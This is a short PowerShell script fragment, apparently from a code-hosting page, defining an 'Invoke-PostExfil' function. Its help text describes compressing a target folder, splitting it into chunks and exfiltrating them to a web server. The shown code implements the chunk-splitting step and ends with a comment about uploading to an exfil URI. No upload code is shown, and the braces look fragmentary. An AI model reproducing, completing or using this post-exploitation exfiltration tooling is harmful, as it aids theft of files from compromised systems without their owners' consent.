41 lines
746 B
PowerShell
41 lines
746 B
PowerShell
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Invoke-PostExfil {
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<#
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.SYNOPSIS
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Compresses a target folder, breaks it into chunks, and exfils
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the parts to a web server.
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.PARAMETER Folder
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Folder of files to exfil.
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.PARAMETER Server
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Server path to exfil to.
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#>
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function split($inFile, $outPrefix, [Int32] $bufSize){
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$stream = [System.IO.File]::OpenRead($inFile)
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$chunkNum = 1
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$barr = New-Object byte[] $bufSize
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while( $bytesRead = $stream.Read($barr,0,$bufsize)){
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$outFile = "$outPrefix$chunkNum"
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$ostream = [System.IO.File]::OpenWrite($outFile)
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$ostream.Write($barr,0,$bytesRead);
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$ostream.close();
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echo "wrote $outFile"
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$chunkNum += 1
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}
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}
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}
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# split file into chunks,
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# upload to a specified exfil URI
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